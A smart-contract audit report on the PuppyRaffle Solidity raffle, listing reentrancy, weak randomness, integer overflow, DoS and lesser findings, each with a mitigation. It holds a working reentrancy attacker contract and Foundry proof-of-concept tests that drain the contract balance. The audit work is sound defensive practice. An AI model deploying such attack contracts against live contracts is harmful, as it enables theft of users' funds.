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# **Protocol Summary**

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

- 1. Call the enterRaffle function with the following parameters:
  - 1. address[] participants: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
- 2. Duplicate addresses are not allowed
- 3. Users are allowed to get a refund of their ticket & value if they call the refund function

4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy

5. The owner of the protocol will set a feeAddress to take a cut of the value, and the rest of the funds will be sent to the winner of the puppy.

# **Disclaimer**

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# **Risk Classification**

		Impact		
		High	Medium	Low
	High	Н	H/M	М
Likelihood	Medium	H/M	М	M/L
	Low	М	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

# **Audit Details**

Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5

## Scope

```
1 ./src/
2 #-- PuppyRaffle.sol
```

#### **Roles**

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the changeFeeAddress function. Player - Participant of the raffle, has the power to enter the raffle with the enterRaffle function and refund value through refund function.

# **Executive Summary**

#### **Issues found**

Severity	Number of issues found	
High	3	
Medium	3	
Low	1	
Info	9	
Gas	2	
Total	18	

# **Findings**

# High

## [H-1] Reentrancy attack in PuppyRaffle::refund allows entrants to drain raffle balance

**Description:** The PuppyRaffle::refund function does not follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain the contract balance.

In the PuppyRaffle::refund function, we first make an external call to the msg.sender address and only after making that external call do we update the PuppyRaffle::players array.

```
require(
8
                playerAddress != address(0),
                "PuppyRaffle: Player already refunded, or is not active"
9
10
           );
11
12 @>
           payable(msg.sender).sendValue(entranceFee);
13 @>
           players[playerIndex] = address(0);
           emit RaffleRefunded(playerAddress);
14
15
       }
```

A player who has entered the raffle could have fallback/receive function that calls the PuppyRaffle: refund function again and claim another refund. They could continue the cycle till the contract balance is drained.

**Impact:** All fees paid by raffle entrants could be stolen by the malicious participant.

#### **Proof of Concept:**

- 1. User enteres the raffle
- 2. Attacker sets up the contract with a receive function that calls PuppyRaffle::refund
- 3. Attacker enters the raffle
- 4. Attacker calls PuppyRaffle::refund from their attack contract, draining the contract balance

#### **Proof of Code**

Code

Place the following into PuppyRaffleTest.t.sol

```
function test_reentrancyRefund() public {
1
2
           Reentrancy attackerContract = new Reentrancy(address(
               puppyRaffle));
           address attacker = makeAddr("attacker");
5
           address[] memory players = new address[](4);
           players[0] = player0ne;
6
7
           players[1] = playerTwo;
           players[2] = playerThree;
8
9
           players[3] = playerFour;
           puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
10
11
           vm.deal(attacker, entranceFee);
12
13
           vm.prank(attacker);
14
           attackerContract.attack{value: entranceFee}();
15
16
           assertEq(address(attackerContract).balance, entranceFee * 5);
17
       }
```

And this contract as well.

```
contract Reentrancy {
2
       PuppyRaffle puppyRaffle;
       address immutable i_owner;
3
       uint256 entranceFee;
4
5
       uint256 attackerIndex;
6
7
       constructor(address _puppyRaffle) payable {
           puppyRaffle = PuppyRaffle(_puppyRaffle);
8
9
           i_owner = msg.sender;
10
           entranceFee = puppyRaffle.entranceFee();
11
       }
12
13
       function attack() external payable {
           address[] memory players = new address[](1);
14
15
           players[0] = address(this);
16
           puppyRaffle.enterRaffle{value: entranceFee}(players);
17
           attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
18
               ;
19
20
           puppyRaffle.refund(attackerIndex);
21
       }
22
23
       function withdraw() external {
24
            require(msg.sender == i_owner);
25
           uint256 balance = address(this).balance;
26
            (bool success, ) = i_owner.call{value: balance}("");
27
            require(success);
28
       }
29
       receive() external payable {
           if (address(puppyRaffle).balance > 0) {
31
                puppyRaffle.refund(attackerIndex);
33
           }
       }
34
35 }
```

**Recommended Mitigation:** To prevent this, we should have the PuppyRaffle::refund function update the players array before making the external call. Additionally, we should move the event emission up as well.

```
function refund(uint256 playerIndex) public {
          address playerAddress = players[playerIndex];
3
          require(
4
               playerAddress == msg.sender,
5
               "PuppyRaffle: Only the player can refund"
6
          );
7
          require(
8
               playerAddress != address(0),
9
               "PuppyRaffle: Player already refunded, or is not active"
```

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```
10     );
11 +     players[playerIndex] = address(0);
12 +     emit RaffleRefunded(playerAddress);
13          payable(msg.sender).sendValue(entranceFee);
14 -         players[playerIndex] = address(0);
15 -          emit RaffleRefunded(playerAddress);
16     }
```

# [H-2] Weak randomness in PuppyRaffle::selectWinner allows users to influence or predict the winner and influence or predict the winning puppy

**Description:** Hashing msg.sender, block.timestamp, and block.difficulty together creates a predictable find number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

*Note:* This additionally means users could front-run this function and call refund if they see they are not the winner.

**Impact:** Any user can influence the winner of the raffle, winning the money and selecting the rarest puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

#### **Proof of Concept:**

- 1. Validators can know ahead of time the block.timestamp and block.difficulty and use that to predict when/how to participate. See the solidity blog on prevrandao. block. difficulty was recently replace with prevrandao.
- 2. User can mine/manipulate their msg.sender value to result in their address being used to generate the winner!
- 3. Users can revert their selectWinner transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

**Recommended Mitigation:** Consider using a cryptographically provable random number generator such as Chainlink VRF.

#### [H-3] Integer overflow of PuppyRaffle::totalFees loses fees

**Description:** In solidity versions prior to 0.8.0 integers were subject to integer overflows.

```
1 uint64 myVar = type(uint64).max;
2 // 18446744073709551615
3 myVar = myVar + 1;
4 // myVar will be 0
```

**Impact:** In PuppyRaffle::selectWinner, totalFees are accumulated for the feeAddress to collect later in PuppyRaffle::withdrawFees. However, if the totalFees variable overflows, the feeAddress may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

# **Proof of Concept:**

- 1. We conclude a raffle of 89 players
- 2. We then have 4 players enter a new raffle
- 3. totalFees will be:

```
1 totalFees = totalFees + uint64(fee);
2 // aka
3 totalFees = 17800000000000000000000000000000000000;
4 // and this will overflow!
5 totalFees = 153255926290448384;
```

4. You won't be able to withdraw, due to the line in PuppyRaffle::withdrawFees:

```
1 require(address(this).balance ==
2 uint256(totalFees), "PuppyRaffle: There are currently players active!
");
```

Althought you could use selfdestruct to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point, there will be too much balance in the contract that the above require will be impossible to hit.

#### Code

```
function test_selectWinnerOverflow() public {
2
           uint256 playersCount = 89;
           address[] memory players = new address[](playersCount);
3
4
           for (uint256 i; i < playersCount; i++) {</pre>
5
               players[i] = address(uint160(i + 100));
6
           }
8
           puppyRaffle.enterRaffle{value: entranceFee * playersCount}(
               players);
9
           vm.warp(block.timestamp + duration + 1);
           vm.roll(block.number + 1);
11
12
           puppyRaffle.selectWinner();
```

```
13
14
            uint256 feesBefore = puppyRaffle.totalFees();
            console.log("feesBefore:", feesBefore);
15
16
            // add 4 more players
17
            uint256 morePlayersCount = 4;
19
            address[] memory playersMore = new address[](morePlayersCount);
            for (uint256 i; i < morePlayersCount; i++) {</pre>
20
21
                playersMore[i] = address(uint160(i + 1000));
            }
23
24
            puppyRaffle.enterRaffle{value: entranceFee * morePlayersCount}(
25
                playersMore
            );
26
27
            vm.warp(block.timestamp + duration + 1);
28
            vm.roll(block.number + 1);
29
            puppyRaffle.selectWinner();
31
32
            uint256 feesAfter = puppyRaffle.totalFees();
            console.log("feesAfter:", feesAfter);
34
            uint256 expectedFees = ((entranceFee *
                (playersCount + morePlayersCount)) * 20) / 100;
37
            assert(feesAfter < feesBefore);</pre>
39
            assert(feesAfter < expectedFees);</pre>
40
            vm.prank(feeAddress);
41
42
            vm.expectRevert("PuppyRaffle: There are currently players
               active!");
43
            // here we have our fees stuck because of overflow
44
            puppyRaffle.withdrawFees();
45
        }
```

#### **Recommended Mitigation:** There are a few possible mitigations.

- 1. Use a newer version of solidity, and a uint256 instead of uint64 for PuppyRaffle:: totalFees
- 2. You could also use the SafeMath library of OpenZeppelin for version 0.7.6 of solidity, however you would still have a hard time with the uint64 type if too many fees are collected.
- 3. Remove the balance check from PuppyRaffle::withdrawFees

```
1 - require(address(this).balance == uint256(totalFees),"PuppyRaffle:
    There are currently players active!");
```

There are more attack vectors with that final require, so we recommend removing it regardless.

#### Medium

[M-1] Looping through players array to check for duplicates in PuppyRaffle::enterRaffle is a potential denial of service (DoS) attack, incrementing gas costs for future entrants

**Description:** The PuppyRaffle::enterRaffle function loops through the players array to check for duplicates. However, the longer the PuppyRaffle::players array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle stats will be dramatically lower than those who enter later. Every additional address in the players array, is an additional check the loop will have to make.

```
for (uint256 i = 0; i < players.length - 1; i++) {</pre>
1
  @>
2
                for (uint256 j = i + 1; j < players.length; j++) {</pre>
3
                    require(
                         players[i] != players[j],
4
5
                         "PuppyRaffle: Duplicate player"
6
                    );
                }
7
8
           }
```

**Impact:** The gas costs for raffle entrants will greatly icrease as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attater might make the PuppuRaffle::entrants array so big, that no one else enters, guarenteeing themselfves the win.

#### **Proof of Concept:**

If we have 2 sets of 100 players enter, the gas costs will be as such:

1st 100 players: ~6503272 gas2nd 100 players: ~18995127 gas

This more than 3x more expensive for the 2nd 100 players.

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Place the following test into PuppyRaffleTest.t.sol.

```
function testEnterRaffleDoS() public {
    vm.txGasPrice(1);

    uint256 playersCount = 100;
    address[] memory players = new address[](playersCount);

    for (uint256 i; i < playersCount; ++i) {
        players[i] = address(uint160(i));
    }
}</pre>
```

```
9
10
       uint256 gasStart = gasleft();
       puppyRaffle.enterRaffle{value: entranceFee * playersCount}(players)
11
13
       uint256 gasEnd = gasleft();
14
       uint256 gasUsed = (gasStart - gasEnd) * tx.gasprice;
       console.log("Gas cost 1st: ", gasUsed);
15
16
       for (uint256 i; i < playersCount; ++i) {</pre>
17
18
            players[i] = address(uint160(i + 1000));
19
       }
       uint256 gasStart2 = gasleft();
21
       puppyRaffle.enterRaffle{value: entranceFee * playersCount}(players)
           ;
23
       uint256 gasEnd2 = gasleft();
24
25
       uint256 gasUsed2 = (gasStart2 - gasEnd2) * tx.gasprice;
26
       console.log("Gas cost 2nd: ", gasUsed2);
27
28
       assert(gasUsed2 > gasUsed);
29 }
```

#### **Recommended Mitigation:** There are a few recommendations.

- 1. Considering allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
- 2. Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.

Alternatively, you could use OpenZeppelin's EnumerableSet library.

# [M-2] Unsafe cast in PuppyRaffle::selectWinner results in loss of fees

**Description:** If the number of fees is large and exceeds type (uint64).max, the actual value will be truncated.

**Impact:** In the PuppyRaffle::selectWinner function, there is an unsafe conversion when calculating fees, where uint256 is cast to uint64. Consequently, if the number of fees is large and exceeds the maximum value of uint64, it may result in truncation of the fee count.

# **Proof of Concept:**

- 1. 93 participants are taking part in the lottery, with an entrance fee of 0.2 ether
- 2. The total amount of fees to be paid should be: entranceFee \* 93 = 18,600,000,000,000,000,000.

3. The maximum value of uint64 is 18,446,744,073,709,551,615, which is less than the above number.

#### Code

```
function test_selectWinnerUnsafeCast() public {
2
           uint256 playersCount = 93;
3
           address[] memory players = new address[](playersCount);
           for (uint256 i; i < playersCount; i++) {</pre>
                players[i] = address(uint160(i + 100));
5
6
8
           puppyRaffle.enterRaffle{value: entranceFee * playersCount}(
               players);
9
           vm.warp(block.timestamp + duration + 1);
           vm.roll(block.number + 1);
11
12
           puppyRaffle.selectWinner();
13
           uint256 expectedFees = ((entranceFee * playersCount) * 20) /
               100;
15
           uint256 actualFees = puppyRaffle.totalFees();
16
            console.log("expectedFees:", expectedFees);
17
           console.log("actualFees:", actualFees);
18
19
           assert(expectedFees > type(uint64).max);
20
           assert(actualFees < expectedFees);</pre>
21
       }
```

**Recommended Mitigation:** It is recommended to use the uint256 type instead of uint64 and eliminate the unsafe conversion.

# [M-3] Smart contract wallets raffle winners without a receive/fallback function will block the start of a new contest

**Description:** The PuppyRaffle::selectWinner function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Users could easily call the selectWinner fucntion again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

**Impact:** The PuppyRaffle::selectWinner function could revert many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money!

#### **Proof of Concept:**

- 1. 10 smart contract wallets enter the lottery without a fallback or receive function
- 2. The lottery ends
- 3. The selectWinner fucntion wouldn't work, even though the lottery is over!

**Recommended Mitigation:** There are a few options to mitigate this issue.

- 1. Don't allow smart contract wallet entrants (not recommended)
- 2. Create a mapping of addresses -> payout amounts so winners can pull their funds out themselves with a new claimPrize function, putting the owness on the winner to claim their prize. (Recommended)

#### Low

[L-1] PuppyRaffle::getActivePlayerIndex returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle

**Description:** If a player is in the PuppyRaffle::players array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
/// @notice a way to get the index in the array
2
       /// @param player the address of a player in the raffle
       /// @return the index of the player in the array, if they are not
           active, it returns 0
       function getActivePlayerIndex(
4
5
           address player
       ) external view returns (uint256) {
6
7
           for (uint256 i = 0; i < players.length; i++) {</pre>
                if (players[i] == player) {
8
9
                    return i;
10
11
           }
12
           return 0;
13
       }
```

**Impact:** A player at index 0 may incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

#### **Proof of Concept:**

- 1. User enteres the raffle, they are the first entrant
- 2. PuppyRaffle::getActivePlayerIndex returns 0
- 3. User thinks they have not entered correctly due to the function documentation

**Recommended Mitigation:** The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return an int256 where the function returns -1 if the player is not active.

#### Gas

#### [G-1] Unchanged state variables should be declared constant or immutable.

Reading from storage is much more expensive than reading from a constant or immutable variable.

Instances:

- PuppyRaffle::raffleDurationshould be immutable
- PuppyRaffle::commonImageUri should be constant
- PuppyRaffle::rareImageUri should be constant
- PuppyRaffle::legendaryImageUrishould be constant

# [G-2] Storage variables in a loop should be cached.

Every time you call players.length you read from storage, as opposed to memory which is more gas efficient.

```
1 +
             uint256 playersLength = players.length;
2
             for (uint256 i = 0; i < players.length - 1; i++) {</pre>
3
             for (uint256 i; i < playersLength - 1; i++) {</pre>
4
                  for (uint256 j = i + 1; j < players.length; j++) {</pre>
5 +
                  for (uint256 j = i + 1; j < playersLength; j++) {</pre>
6
7
                         players[i] != players[j],
8
                         "PuppyRaffle: Duplicate player"
9
                     );
10
                }
11
            }
```

#### Info

# [I-1] Unspecific Solidity Pragma

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of pragma solidity ^0.8.0; use pragma solidity 0.8.0;

#### **Foundings**

• Found in src/PuppyRaffle.sol Line: 3

```
1 pragma solidity ^0.7.6;
```

# [I-2] Using an outdated version of Solidity is not recommended.

Version constraint ^0.7.6 contains known severe issues (https://solidity.readthedocs.io/en/latest/bugs.html) solc-0.7.6 is an outdated solc version. Use a more recent version (at least 0.8.0), if possible.

# [I-3] Unnecessary assignment of 0.

There is no need to assign zero to the variable, as it is initialized with a default value; for uint64, this will be 0.

### **Foundings**

• Found in src/PuppyRaffle.sol Line: 34

```
uint64 public totalFees = 0;
```

## [I-4] Address State Variable Set Without Checks

Check for address (0) when assigning values to address state variables.

#### **Foundings**

• Found in src/PuppyRaffle.sol Line: 77

```
1 feeAddress = _feeAddress;
```

• Found in src/PuppyRaffle.sol Line: 180

```
1 address winner = players[winnerIndex];
```

• Found in src/PuppyRaffle.sol Line: 229

```
1 feeAddress = newFeeAddress;
```

#### [I-5] Public Function Not Used Internally

If a function is marked public but is not used internally, consider marking it as external.

2 Found Instances

• Found in src/PuppyRaffle.sol Line: 95

```
function enterRaffle(address[] memory newPlayers) public
payable {
```

• Found in src/PuppyRaffle.sol Line: 121

```
function refund(uint256 playerIndex) public {
```

# [I-6] PuppyRaffle::selectWinner does not follow CEI, which is not the best practice

It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

#### [I-7] Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

Examples:

```
require(players.length >= 4, "PuppyRaffle: Need at least 4 players"
);
uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use

```
uint256 public constant MIN_PLAYERS_COUNT = 4;
uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
uint256 public constant FEE_PERCENTAGE = 20;
uint256 public constant POOL_PRECISION = 100;
```

# [I-8] State changes without emitting events

In the PuppyRaffle::withdrawFees function, we do not emit an event when withdrawing fees, which is considered a bad practice. An event called FeesWithdrawn should be added.

```
function withdrawFees() external {
1
2
           require(
               address(this).balance == uint256(totalFees),
3
               "PuppyRaffle: There are currently players active!"
4
5
           );
6
           uint256 feesToWithdraw = totalFees;
7
          totalFees = 0;
          emit FeesWithdrawn(feesToWithdraw);
8 +
9
          (bool success, ) = feeAddress.call{value: feesToWithdraw}("");
          require(success, "PuppyRaffle: Failed to withdraw fees");
10
11
       }
```

# [I-9] The PuppyRaffle::\_isActivePlayer function is never used

It is recommended to remove dead code, as this function is not utilized by anyone. This will help save gas during deployment.